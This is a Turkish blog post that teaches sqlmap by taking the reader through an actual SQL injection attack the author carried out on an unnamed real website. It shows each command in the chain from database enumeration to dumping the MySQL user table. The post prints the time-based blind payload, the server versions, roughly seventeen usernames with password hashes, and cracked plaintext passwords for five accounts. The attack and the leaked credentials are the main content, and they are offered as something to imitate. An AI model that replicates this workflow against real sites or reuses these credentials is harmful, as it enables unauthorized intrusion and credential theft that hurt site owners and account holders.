6 Ocak 2015 Salı

( SQL Injection ) Aracı Sqlmap Kullanımı





Sqlmap Nedir ?  :  Python programlama dili kullanılarak geliştirilmiş  sql injection zaafiyetlerini  istismar etmeye yarayan bir araçtır. İçerisinde bulunan bir çok araç ile webmaster yada programcıların sql injection ataklarını engellemek için kullandıkları bir takım güvenlik önlemlerini sqlmap araçlarını kullananarak bypass etmek mümkün.

Sqlmap aracımızın öncelikli bilinmesi gereken parametreleri

    --url                 Hedef site adresi.
    --dbs                Veritabanı ile ilgili bilgileri ve veritabanı isimlerini çekmek için kullanılır.
    --tables            Veritabanlarındaki tablo isimlerini çekmek için kullanılır.
    --columns        Tabloların içerisindeki kolon isimlerini çekmek için kullanılır.
    --dump             Veritabanı adı, tablo ve kolonlardaki dataları çekmek için kullanılır.
    -D  Veritabanı adı
    -T  Tablo adı
    -C  Kolon adı

Basitçe sqlmap kullanımını  daha önce aynı zaafiyeti kullanarak sistemine sızdıgım bir sitede uygulayacagım.


Hedef site : http://www.target.com/sql.php?id=1999

Hedef sitemiz ile ilgili ilk bilgileri elde etmek için benim izlemem gereken yol şöyle olacak.

1. işlem -) python sqlmap.py -u "http://www.target.com/sql.php?id=1999"  --dbs

SQL Injection zaafiyetinin türü : 
    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 AND time-based blind
    Payload: id=1999 AND SLEEP(5)

Kullanılan servisler ve versiyon bilgileri
web server operating system: Linux Red Hat Enterprise 6 (Santiago)
web application technology: PHP 5.3.3, Apache 2.2.15
back-end DBMS: MySQL 5.0.11

VERITABANI ISIMLERI
adserver
agenda
amna_albanian
amna_base
amna_base_stage
amna_chinese
amna_election
amna_english
amna_french
amna_french_stage
amna_radio
amna_russian
amna_test
anaco
ape_french
elections_feed
hrm
hrm2
information_schema
mediaterra
municipal_elections_feed
mysql
observatory
ota
parliamentary_elections_feed
phplist
test
İlk bilgileri elde etmek için izledigimiz yol sonrası üstteki gibi hedef siteye ait veritabanı bilgileri çekiyoruz, veritabanı adı ile tablo isimlerini almak için bir sonraki izlememiz gereken yol şöyle olacak. Ben üstteki veritabanı isimlerinden ilk gözüme kestirdigim "mysql" isimli veritabanını hedef alacagım.

2. işlem -) python sqlmap.py -u "http://www.target.com/sql.php?id=1999" -D mysql --tables

TABLO ISIMLERİ
user                     
columns_priv             
db                       
event                    
func                     
general_log              
help_category            
help_keyword             
help_relation            
help_topic               
host                     
ndb_binlog_index         
plugin                   
proc                     
procs_priv               
servers                  
slow_log                 
tables_priv              
time_zone                
time_zone_leap_second    
time_zone_name           
time_zone_transition     
time_zone_transition_type


1. işlem ile elde ettigimiz veritabanı içerisindeki tablo bilgilerini 2. işlem ile çektikten sonra bizim için öncelikli tablo yönetici bilgilerinin saklandıgı tablodur. 3. işlemimizi bu dogrultuda gerçekleştirirken "user" tablosunu hedef alıyoruz.

3. işlem -)  python sqlmap.py -u "http://www.target.com/sql.php?id=1999" -D mysql -T user --columns

KOLON ISIMLERİ
User
Alter_priv
Alter_routine_priv
Create_priv
Create_routine_priv
Create_tmp_table_priv
Create_user_priv
Create_view_priv
Delete_priv
Drop_priv
Event_priv
Execute_priv
File_priv
Grant_priv
Host
Index_priv
Insert_priv
Lock_tables_priv
max_connections
max_questions
max_updates
max_user_connections
Password
Process_priv
References_priv
Reload_priv
Repl_client_priv
Repl_slave_priv
Select_priv
Show_db_priv
Show_view_priv
Shutdown_priv
ssl_cipher
ssl_type
Super_priv
Trigger_priv
Update_priv
x509_issuer
x509_subject

3. işlem ile "user" tablosundan çektigimiz bilgiler üstteki gibidir ve bu bilgiler arasında bize lazım olan 2 adet kolon var  User, Password bu bilgileride elde ettikten sonra son aşama olan 4. işleme geçerek finalimizi yapıyoruz :)



4. işlem -)  python sqlmap.py -u "http://www.target.com/sql.php?id=1999" -D mysql -T user -C User,Password --dump


+------------+---------------------------------------------------------------+
| User                     | Password                                                          |
+------------+---------------------------------------------------------------+
| adserver        |  *3FA123BB29E2FC63620673FF68BF39567291D850
| agenda          | *B3E8DAD21078618BAA6B7647F41F9157A2EE6A4A
| amna             | *0DA4938AAAB1054A600AB9346F36B77058C5BEEE
| amnadmin     | *2ABEE80D2FD605A22B31E582E84B4389EC6CA7B7
| apefrench      | *60244D20CBD5FD36B02BD34A37CF8A4C8D6C78E6
| christos         | *676243218923905CF94CB52A3C9D3EB30CE8E20D
| christos         | *1F8D8B34CD47D5651AB850EF3D1B8CDFECBF3883
| giorgos         | *6CDDA2F952780F31DA652F66037C2D620C8220A6
| hrview          | *00A51F3F48415C7D4E8908980D443C29C69B60C9
| kostas           | *0DA6E808FC045ACD1EE600841421077654962F1B
| mediaterra    | *E789D1F377A8499EAB444E46F95535887DDB6F78
| mlazou         | *4FE650B5BC6643095EFD7A683399EE0D5B428081
| observer       | *1337F689DE48D1D7741327B2C1056961C15B4D1F
| orangehrm    | *A4B6157319038724E3560894F7F932C8886EBFCF
| ota                | *7F5E26E2CABC30407C18F792CC51C8C56FFDD6DF
| phplist          | *F825F2D91CD3CC04C92890DB8025746810D64E7D
| phplist          | *F825F2D91CD3CC04C92890DB8025746810D64E7D
+------------+---------------------------------------------------------------+


Bu kadar güzelligin yanında birde sqlmap aracımızın "dictionary-based attack" md5 cracker aracını kullanarak hedef site üzerinden çekmiş oldugum mysql veritanı içericindeki datalar ile elde ettigim yönetici bilgilerini kırdıklarımı paylaşıyorum.

| mlazou        | *4FE650B5BC6643095EFD7A683399EE0D5B428081       (Şifre : 1355)
| orangehrm  | *A4B6157319038724E3560894F7F932C8886EBFCF          (Şifre : 1234)
| hrview        | *00A51F3F48415C7D4E8908980D443C29C69B60C9         (Şifre : 12345)
| christos       | *676243218923905CF94CB52A3C9D3EB30CE8E20D       (Şifre : test123)
| amna           | *0DA4938AAAB1054A600AB9346F36B77058C5BEEE    (Şifre : amna)



Not : Sqlmap ile SQL injection zaafiyetini istismar ettigim  site adresini pr6 alexa 23k kısaca çok kaliteli bir site oldugu için paylaşmıyorum.

0 yorum :

Yorum Gönder